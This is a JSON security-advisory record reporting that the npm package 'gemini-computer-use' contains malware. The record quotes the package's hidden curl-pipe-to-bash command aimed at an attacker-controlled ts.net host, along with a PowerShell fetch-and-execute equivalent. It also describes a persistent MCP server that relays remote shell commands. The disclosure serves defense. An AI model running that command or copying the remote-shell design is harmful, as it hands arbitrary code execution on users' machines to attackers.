{"id":"MAL-2026-16355","kind":"package","aliases":["MAL-2026-16355"],"related":[],"title":"Malicious code in gemini-computer-use (npm)","description":"---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (56b34e8766d76b6b5c93094a8c8288f85fbb505fef68634a7bdf395abaebb329)\nThe package's `bin/cli.js` — declared as both `main` and `bin` in package.json — unconditionally runs `curl -fsSL https://racknerd-5a24bf9.merino-carob.ts.net/install.sh | bash` on Linux/macOS and the PowerShell `Invoke-RestMethod... | iex` equivalent on Windows when invoked without a known subcommand. Because the same file is the module's main entry, any `require('gemini-computer-use')` reaches this code path as well. The fetch target is a Tailscale funnel host (`*.ts.net`) unrelated to the declared GitHub publisher, is unpinned, and has no hash or signature verification; whoever controls that funnel controls arbitrary code execution on the installer host. The installed component is an MCP server (core/server.py, core/mcp_tools.py) that exposes a `bash_exec` tool and opens an outbound websocket tunnel to a hardcoded gateway (default `https://smart-server.online`, bootstrapped via the same `racknerd-5a24bf9.merino-carob.ts.net` host) over `/sse?user=...&token=...`; commands relayed from the gateway are executed in a local shell on the installer host. install.sh configures systemd/launchd/Termux autostart so the shell channel persists across reboots. The MESH_TOKEN auth is optional and the destination is hardcoded, resulting in a remotely driven shell on the installer's machine triggered by install/first invocation.\n\n## Source: ossf-package-analysis (98cfd64c3f4382ad0470faa70a1604f84cb385a64dbc1eed9bbf68fd244ab887)\nThe OpenSSF Package Analysis project identified 'gemini-computer-use' @ 0.4.3 (npm) as malicious.\n\nIt is considered malicious because:\n\n- The package executes one or more commands associated with malicious behavior.","summary":null,"severity":"critical","cvss":null,"epss":null,"exploited":false,"exploited_at":null,"products":[{"name":"gemini-computer-use","fixed":[],"affected":"= 0.1.2; = 0.4.3; = 0.4.5","ecosystem":"npm"}],"ecosystems":["npm"],"tags":["malicious","package"],"not_affected_if":[],"how_to_check":null,"fix":null,"status":"open","published_at":"2026-09-21T17:21:03+00:00","first_seen_at":"2026-10-29T14:24:37+00:00","triaged_at":"2026-10-29T14:25:47+00:00","updated_at":"2026-10-29T14:25:47+00:00","category":"package","confidence":null,"triage":null,"analyst_status":null,"analyst_note":null,"search":"'-16355':11A,14A '-2026':10A,13A '/install.sh':53C '/sse':165C '0.4.3':236C '56b34e8766d76b6b5c93094a8c8288f85fbb505fef68634a7bdf395abaebb329':34C '98cfd64c3f4382ad0470faa70a1604f84cb385a64dbc1eed9bbf68fd244ab887':225C 'across':192C 'amazon':32C 'amazon-inspector':31C 'analysi':224C,229C 'arbitrari':124C 'associ':252C 'auth':197C 'autostart':186C 'bash':54C,143C 'behavior':255C 'bin':44C 'bin/cli.js':38C 'bootstrap':158C 'channel':190C 'code':2A,91C,125C 'command':168C,251C 'compon':133C 'comput':6A,87C,234C 'computer':17A 'configur':184C 'consid':242C 'control':120C,123C 'core/mcp_tools.py':139C 'core/server.py':138C 'curl':49C 'declar':39C,107C 'default':156C 'destin':202C 'detail':23C 'driven':209C 'edit':26C 'entri':82C 'equival':64C 'exec':144C 'execut':126C,174C,247C 'expos':141C 'fetch':96C 'file':76C 'fssl':50C 'funnel':101C,122C 'gateway':155C,172C 'gemini':5A,16A,86C,233C 'gemini-computer-us':4A,85C,232C 'gemini-computer-use':15A 'github':108C 'hardcod':154C,204C 'hash':115C 'host':102C,130C,163C,182C 'identifi':231C 'iex':63C 'inspector':33C 'instal':129C,132C,181C,213C 'install.sh':183C 'install/first':218C 'invoc':219C 'invok':61C,68C 'invoke-restmethod':60C 'known':71C 'line':29C 'linux/macos':56C 'local':177C 'machin':215C 'main':42C,81C 'mal':9A,12A 'malici':1A,19B,239C,243C,254C 'mcp':136C 'mesh':195C 'modul':79C 'npm':8A,237C 'one':248C 'open':147C 'openssf':227C 'option':199C 'ossf':222C 'ossf-package-analysi':221C 'outbound':149C 'packag':20B,36C,223C,228C,246C 'package.json':46C 'path':92C 'per':21C 'persist':191C 'powershel':59C 'project':230C 'publish':109C 'racknerd-5a24bf9.merino-carob.ts.net':52C,162C 'racknerd-5a24bf9.merino-carob.ts.net/install.sh':51C 'reach':89C 'reboot':193C 'relay':169C 'remot':208C 'requir':84C 'restmethod':62C 'result':205C 'run':48C 'server':137C 'shell':178C,189C,210C 'signatur':117C 'smart-server.online':157C 'sourc':22C,30C,220C 'subcommand':72C 'systemd/launchd/termux':185C 'tailscal':100C 'target':97C 'token':167C,196C 'tool':145C 'trigger':216C 'ts.net':103C 'tunnel':151C 'uncondit':47C 'unpin':111C 'unrel':104C 'use':7A,18A,88C,235C 'user':166C 'verif':118C 'via':159C 'websocket':150C 'well':94C 'whoever':119C 'window':66C 'without':69C","nicknames":[],"mitigations":[],"who_affected":null,"tier":null,"verified":{},"analyst_revisit_at":null,"fix_status":null,"audience":null,"plain_action":null,"first_public_at":"2026-09-21T17:21:03+00:00","kev":null,"cvss_vector":null,"cvss_by":null,"poc_count":0,"sources":[{"source":"osv-malicious","external_id":"MAL-2026-16355","url":"https://osv.dev/vulnerability/MAL-2026-16355","severity":"critical","published_at":"2026-09-21T17:21:03+00:00","modified_at":"2026-10-29T13:48:10+00:00","first_seen_at":"2026-10-29T14:24:37+00:00","fetched_at":"2026-10-29T14:54:45+00:00","note":null}],"documents":[],"notice":"Free to read at a human pace. An API with keys and an MCP server are in preparation; early access: hello@infrastack.ai"}